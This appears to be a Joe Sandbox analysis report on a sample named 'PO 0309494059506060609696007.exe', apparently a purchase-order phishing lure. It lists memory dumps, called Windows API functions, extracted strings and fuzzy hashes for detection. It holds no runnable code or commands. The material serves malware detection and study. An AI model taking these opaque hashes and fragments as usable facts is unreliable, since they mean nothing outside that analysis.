Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: aeb767edbde6605fb3f6e877d1e8e55744b908c0e0c9ef55a7edb7ad10a4fca3
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: D9D05EB2414920DAC3126B04DC40D9F73ACEF11300B4A446AE440A61A1D7786C8186AD

Function 6E4210E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6E42116A
GlobalFree.KERNEL32(00000000), ref: 6E4211C7
GlobalFree.KERNEL32(00000000), ref: 6E4211D9
GlobalFree.KERNEL32(?), ref: 6E421203

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 20a42091e1e262a9f6fd3ab3ab2d95ca6ff07ecb39f93667366708bee4eba27b
Instruction ID: 8bf4ae9b942f96d4fcf7a834d0e78e9f43d5856a2d4005762239e27090d3b13d
Opcode Fuzzy Hash: 20a42091e1e262a9f6fd3ab3ab2d95ca6ff07ecb39f93667366708bee4eba27b
Instruction Fuzzy Hash: D63172B15001029FD7009FF9ED45E7677E8EB4A210700053BE844EA358E77AED49D7A2

Function 00405D15 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D3D
CharNextA.USER32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D4E
lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: cc601e2af81a4130f3690bf6756e9ae730db34a97aa71f580e1783f9e5236296
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 3DF0F631200818FFC7129FA4DD049AFBBA8EF06354B2580BAE840F7211D634DE02AF98

Analysis Process: PO 0309494059506060609696007.exePID: 2128, Parent PID: 6428COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	4

Executed Functions

Function 36263158 Relevance: 9.3, Strings: 7, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 3626383A
$^q, xrefs: 3626382E
605, xrefs: 362631BC
$^q, xrefs: 36263863
$^q, xrefs: 36263857
$^q, xrefs: 36263887
$^q, xrefs: 3626387B

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$605
API String ID: 0-129143561
Opcode ID: 65b34b013b4512869eae956205cced0c90baa289a1679f4dd736b359cfe4232b
Instruction ID: 8cec282b4bce9aedfea3d473a3ff2ae6eafb3ff1277acca9f28c897fc8ebb03c
Opcode Fuzzy Hash: 65b34b013b4512869eae956205cced0c90baa289a1679f4dd736b359cfe4232b
Instruction Fuzzy Hash: 16326F30E1071A8FDB14DF79C89499DB7B2FFC9304F6196A9D409AB224EF709985CB81

Function 36262370 Relevance: 3.5, Strings: 2, Instructions: 1034COMMON

Download Yara Rule

Strings

405, xrefs: 36262D1D
405, xrefs: 36262998

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: 405$405
API String ID: 0-2634294432
Opcode ID: 4553a2ac15925d141a2f78193bec6e7498775183f5bc9a36dfab970be7e02db9
Instruction ID: 68402fd8626e23ac83e964797178f5d25e471d2a5de56d50f0a1c464d0cba4ad
Opcode Fuzzy Hash: 4553a2ac15925d141a2f78193bec6e7498775183f5bc9a36dfab970be7e02db9
Instruction Fuzzy Hash: EA924738A012058FEB14CB69C584B4DB7F2FB44358F5684A9D809EB361DBB9EC86CF45

Function 0015E360 Relevance: 2.8, Strings: 2, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 0015E477
$^q, xrefs: 0015E45E

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: be6d83ed12040019674ae1fe1e8a216d60079c4895a1fb7b5a49b46d0539c5f9
Instruction ID: b969ce853123f9dcd16c3ff0fb9bcd3cfe1e2eb7b58abe27b9cdc89c84528143
Opcode Fuzzy Hash: be6d83ed12040019674ae1fe1e8a216d60079c4895a1fb7b5a49b46d0539c5f9
Instruction Fuzzy Hash: 4EB1E470B00254CBDB1CAB79885427E7BF3BFC8301B15852ED456EB398CE349D068B91

Function 0015AAAC Relevance: 2.8, Instructions: 2764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d481c5b7568f98962ad60e9232cd5a835479cdc24173af359466ec4ad39889d
Instruction ID: 1f1a459ab6ed106bbb34fc9faff35f992fd92ed0f4abe0f7d71b9c7485bdd38f
Opcode Fuzzy Hash: 3d481c5b7568f98962ad60e9232cd5a835479cdc24173af359466ec4ad39889d
Instruction Fuzzy Hash: EA53E731D10B1A8ADB11EF68C890699F7B1FF99300F51D79AE4597B121EB70AAC4CF81

Function 362666C0 Relevance: 2.1, Strings: 1, Instructions: 812COMMON

Download Yara Rule

Strings

405, xrefs: 36266F77

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: 405
API String ID: 0-2177416938
Opcode ID: 126de568b8af5f36d8b4920d19442afae35676ca624d62719e6f46fe440cb41b
Instruction ID: aebe429859f8a44fe47e0d6ef83c0e039a75774c8dbe03a2be6b7f6e2d4d16c6
Opcode Fuzzy Hash: 126de568b8af5f36d8b4920d19442afae35676ca624d62719e6f46fe440cb41b
Instruction Fuzzy Hash: 0B62D234B002058FEB04DB6AD594B9DB7F2EF84348F218569E805EB351DB75EC96CB81

Function 00153E40 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vdm, xrefs: 0015408B

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: \Vdm
API String ID: 0-4198272578
Opcode ID: 59265af1bd180a9eda62abd67bdbb76cb641676ec640927f30d521ebd5fba83e
Instruction ID: 855b091a9be4c43b98137d375911ff04d9dd1f0fa61182b8ed671176e97b51e2
Opcode Fuzzy Hash: 59265af1bd180a9eda62abd67bdbb76cb641676ec640927f30d521ebd5fba83e
Instruction Fuzzy Hash: 92917270E00209CFDF14CFA8C9957DDBBF2AF48355F148529E824EB294EB749989CB81

Function 3626C240 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37bbf7fc9246914cf2bc83e4b1998b88f5279c0ef063742fab707804c026ad84
Instruction ID: 61e867501a5ef92b98108796bae7ef0f91eccd761036a28a636d32d24cf89c94
Opcode Fuzzy Hash: 37bbf7fc9246914cf2bc83e4b1998b88f5279c0ef063742fab707804c026ad84
Instruction Fuzzy Hash: E632E634B002059FDB04EB69D984B9EBBB2FB89344F218429D805FB351DB71EC86CB95

Function 362656A0 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5640eac57844c92c4a875e5608406a274736bff1cb0a2beb65d6168a25a2b158
Instruction ID: ac6f91f534e407f5b2735642df4e1ca00588f2e0b191a58907483be7350f79b2
Opcode Fuzzy Hash: 5640eac57844c92c4a875e5608406a274736bff1cb0a2beb65d6168a25a2b158
Instruction Fuzzy Hash: F5121935F102069FEB10DF66C88465EB7B2EF85358F218429D84AEB385DB74DC86CB91

Function 3626B2F0 Relevance: .6, Instructions: 560COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ed1a755437c51d01777b74da2be9e3d1efe022796113dba519892177168bb0
Instruction ID: 25303c01ca15dfcd3c4166cd743f973a25ebbf56873f424899b7302883f776b4
Opcode Fuzzy Hash: a6ed1a755437c51d01777b74da2be9e3d1efe022796113dba519892177168bb0
Instruction Fuzzy Hash: 3B229434F1020A8FEB10CB6AC49079DB7B6EB85359F218925F805EB391CA75DCD1CB51

Function 0015A220 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66906c554d9a4f316bafdb1bc3e9b9289423e29205b5123b6b3574180acd7197
Instruction ID: f21a6155cb1d03bd2916443d4717256e6b7f99c3ddb1ed2238ad003f27cfd392
Opcode Fuzzy Hash: 66906c554d9a4f316bafdb1bc3e9b9289423e29205b5123b6b3574180acd7197
Instruction Fuzzy Hash: C9D1A334B00205CFCB14DBA8C594AADBBB2FF89311F54856AE816EB3A1DB31DD46CB51

Function 0015A590 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e900fa900c6b5d2837e7d3c6862196fb3c88d3f87dc4c834579c531d7f38f8
Instruction ID: a5032de0d8f7d689a83926bd6e25f7470b433580f1e12d64580ceeab8dd43d1e
Opcode Fuzzy Hash: 00e900fa900c6b5d2837e7d3c6862196fb3c88d3f87dc4c834579c531d7f38f8
Instruction Fuzzy Hash: 96D1BF31A40205CFDB14CF68D8847AEBBB1EF88311F54866AE919EF391D731DC498B92

Function 00154A58 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e57201c92c2e98cb9d81cff8bacbd6a354eb12d2cda77e5ca1c60bdd8b2e17
Instruction ID: 45b823d5ceccf9223dc9fe03584977aa0965777821e9dad3cc715c8ceb110b3e
Opcode Fuzzy Hash: b4e57201c92c2e98cb9d81cff8bacbd6a354eb12d2cda77e5ca1c60bdd8b2e17
Instruction Fuzzy Hash: DCB14470E00209CFDF14CFA9D9957DDBBF2AF88319F148129D865EB254EB749889CB81

Function 36264C68 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 36264C93
x=05, xrefs: 36264E67
x=05, xrefs: 36264DDC
XPcq, xrefs: 36264DB9
\Ocq, xrefs: 36264E43

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq$x=05$x=05
API String ID: 0-2557378851
Opcode ID: ed3de603880dfb9688d6a7c5d33146c2f4328755af1bf93588f85a252031f7a7
Instruction ID: 20bc049edc8a134e3b3fcebb6d3daf46478475a8743fd4e5a2fee61915bdc498
Opcode Fuzzy Hash: ed3de603880dfb9688d6a7c5d33146c2f4328755af1bf93588f85a252031f7a7
Instruction Fuzzy Hash: 2161A330E002099FEB159FA9C8547AEBBF6FF88304F20852AD545AB391DF748D468F91

Function 3625320A Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3625328E
GetCurrentThread.KERNEL32 ref: 362532CB
GetCurrentProcess.KERNEL32 ref: 36253308
GetCurrentThreadId.KERNEL32 ref: 36253361

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4db0d06e63d506c276bd36a0cec9dda190dacda3430849c47d96b2a02e672a54
Instruction ID: 04282bb4ddbe462224e447c1ca2601210b96c42584a9e01c9b1bf8a2ebdcffb0
Opcode Fuzzy Hash: 4db0d06e63d506c276bd36a0cec9dda190dacda3430849c47d96b2a02e672a54
Instruction Fuzzy Hash: 6A5168B09006498FDB14DFA9C948BDEFBF1EF49300F218469E619B7260DB349980CF65

Function 36253210 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3625328E
GetCurrentThread.KERNEL32 ref: 362532CB
GetCurrentProcess.KERNEL32 ref: 36253308
GetCurrentThreadId.KERNEL32 ref: 36253361

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f07aca0c8588e9caf46f64671ba31540eec501d4f036d8ba31574180a643932b
Instruction ID: ed42ccb2086b6d7f8d87e766f1e423b4b1285227245a211b88debb0ada6f34ec
Opcode Fuzzy Hash: f07aca0c8588e9caf46f64671ba31540eec501d4f036d8ba31574180a643932b
Instruction Fuzzy Hash: DB5148B09006498FDB54DFAAC948BDEFBF1EF49310F218469E619A7360DB34A940CF65

Function 36264C59 Relevance: 3.9, Strings: 3, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 36264C93
x=05, xrefs: 36264DDC
XPcq, xrefs: 36264DB9

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: fcq$XPcq$x=05
API String ID: 0-1293912557
Opcode ID: f6fcb95db03dddc7ee96934b288f5be8629f830b9840f698af598140a6583425
Instruction ID: e94c0b33946623b08fe6afbf0a867a662e3f660e53adf157ad74e86388d29261
Opcode Fuzzy Hash: f6fcb95db03dddc7ee96934b288f5be8629f830b9840f698af598140a6583425
Instruction Fuzzy Hash: CE518130E102089FEB059FB9C454B9EBBF6BF88700F208529D545AB395DE708C418B51

Function 001587B9 Relevance: 3.1, Strings: 2, Instructions: 556
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H05, xrefs: 00158B54
05, xrefs: 00158B24

Memory Dump Source

Source File: 00000004.00000002.2964395469.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: H05$05
API String ID: 0-3594489368
Opcode ID: deb454775833fbf68eb0cf0e8ebb59d3f5c3c4971983b408c9d07ac070cbf001
Instruction ID: e4d95e040e3fca5bdf37b37642171f84bebe0cb030ef54f79e1b5eb2d4e38daa
Opcode Fuzzy Hash: deb454775833fbf68eb0cf0e8ebb59d3f5c3c4971983b408c9d07ac070cbf001
Instruction Fuzzy Hash: 4C127E30B002059FCB15AB2CD95526CB7A3EBC5305B60893EE406EB365CF71ED8B9B91

Function 36269200 Relevance: 2.7, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 362692BB
$^q, xrefs: 36269280

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: b65d8c7c6ed558a01c7631a9d7c882ac722b99c9df5ec9fbd8370938894cf599
Instruction ID: 45e9ae4e418b5e26594d14bfee67263d1d1a5ca95ce56e0f48ee4aedc582a90a
Opcode Fuzzy Hash: b65d8c7c6ed558a01c7631a9d7c882ac722b99c9df5ec9fbd8370938894cf599
Instruction Fuzzy Hash: FA515534B0020A9FDB44DB6AD8507AEB7F6EBC9344F108469C809E7344EF70DC428B95

Function 36268390 Relevance: 2.5, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

$^q, xrefs: 362683DB
8X)3TX)3, xrefs: 362683CC

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: 8X)3TX)3$$^q
API String ID: 0-1297511577
Opcode ID: 18c8a26ddb9d2e8164a2916eafb5a2837887db2269473788706178be83a6d8e8
Instruction ID: 87e6b3db7b38c3ada1d53bcc2e72063605cd17100c88f7531adf574b9f4d507c
Opcode Fuzzy Hash: 18c8a26ddb9d2e8164a2916eafb5a2837887db2269473788706178be83a6d8e8
Instruction Fuzzy Hash: 37F08C79A102168BEF148E4B9A846A977B9EB4035CF224026DC04AB241CBF9D996C7A5

Function 3625D7E4 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3625D902

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d08625176b5868db9213081342cb53043904f115b375529d731a2d4d91b17388
Instruction ID: 7f0a71b3c49736e469da46e1396f13215890663897a51ff9095753197baf7b64
Opcode Fuzzy Hash: d08625176b5868db9213081342cb53043904f115b375529d731a2d4d91b17388
Instruction Fuzzy Hash: ED51D2B5D003499FDB14CFAAC884ADEFBB5BF48310F21852AE818AB210D775A841CF91

Function 3625D7F0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3625D902

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: dedf8feac5ba28f54fedf0f8b1f1f61774050732f61e6311ba0ab7bb8df70210
Instruction ID: 2721a2eb095256a6625ac66c44b7f4ba10ea09315b1c6ae092115d3af9093434
Opcode Fuzzy Hash: dedf8feac5ba28f54fedf0f8b1f1f61774050732f61e6311ba0ab7bb8df70210
Instruction Fuzzy Hash: 0E41D1B5D003099FDB14CF9AC884ADEFFB5BF48310F21852AE818AB210D774A841CF95

Function 36630040 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 36630101

Memory Dump Source

Source File: 00000004.00000002.2987073708.0000000036630000.00000040.00000800.00020000.00000000.sdmp, Offset: 36630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36630000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 11cffd1556cc42733aa65040200d849ed11c76fe5059de4e6994fe755596b884
Instruction ID: d3fd1106e1e86c8e5a4dae684fabcd0c34fcc3822e55d0c204cd5fe535bccc53
Opcode Fuzzy Hash: 11cffd1556cc42733aa65040200d849ed11c76fe5059de4e6994fe755596b884
Instruction Fuzzy Hash: B8414BB9A00709CFDB04CF99C844A9ABBF5FF88314F24C459D558AB321D774A844CFA1

Function 36253450 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 362534DF

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3238152cf576a5d199dd4641955eebb9308cae03b355649fa672d7721ab617dd
Instruction ID: cdff832164a5761da3be1e9c27bba9ab3ab076277cb8056d6954d8314fd7144f
Opcode Fuzzy Hash: 3238152cf576a5d199dd4641955eebb9308cae03b355649fa672d7721ab617dd
Instruction Fuzzy Hash: ED21E3B5D00259AFDB10CFAAD984ADEFFF9EB48310F15801AE958A7310D375A940CFA5

Function 36253458 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 362534DF

Memory Dump Source

Source File: 00000004.00000002.2986850815.0000000036250000.00000040.00000800.00020000.00000000.sdmp, Offset: 36250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36250000_PO 0309494059506060609696007.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b64c19f0975e3b25f88ede6328a426b08ce40ec7372e4639015f07ce08dbea75
Instruction ID: bb193f0f3af23561fe7386f2df8e722bc050bd928eca0d733a0478b0c5556405
Opcode Fuzzy Hash: b64c19f0975e3b25f88ede6328a426b08ce40ec7372e4639015f07ce08dbea75
Instruction Fuzzy Hash: 3421E2B59002599FDB10CFAAD984ADEFFF4EB48320F14801AE958A7310D379A940CFA5

Function 36631780 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 366325CD

Memory Dump Source

Source File: 00000004.00000002.2987073708.0000000036630000.00000040.00000800.00020000.00000000.sdmp, Offset: 36630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36630000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 88bb52de4f11a8ef591292e55c843a329c15a1472682ccfaf1c9b923d79e21a7
Instruction ID: 935a3595cd33611f3ae8666abacd82b113df66d1a23cbbac386d0dc07739e9c3
Opcode Fuzzy Hash: 88bb52de4f11a8ef591292e55c843a329c15a1472682ccfaf1c9b923d79e21a7
Instruction Fuzzy Hash: BD1115B5D043588FDB10DF9AD544BDEBFF8EB48320F208459D559A7214D374AA40CFA5

Function 36632570 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 366325CD

Memory Dump Source

Source File: 00000004.00000002.2987073708.0000000036630000.00000040.00000800.00020000.00000000.sdmp, Offset: 36630000, based on PE: false

Joe Sandbox IDA Plugin

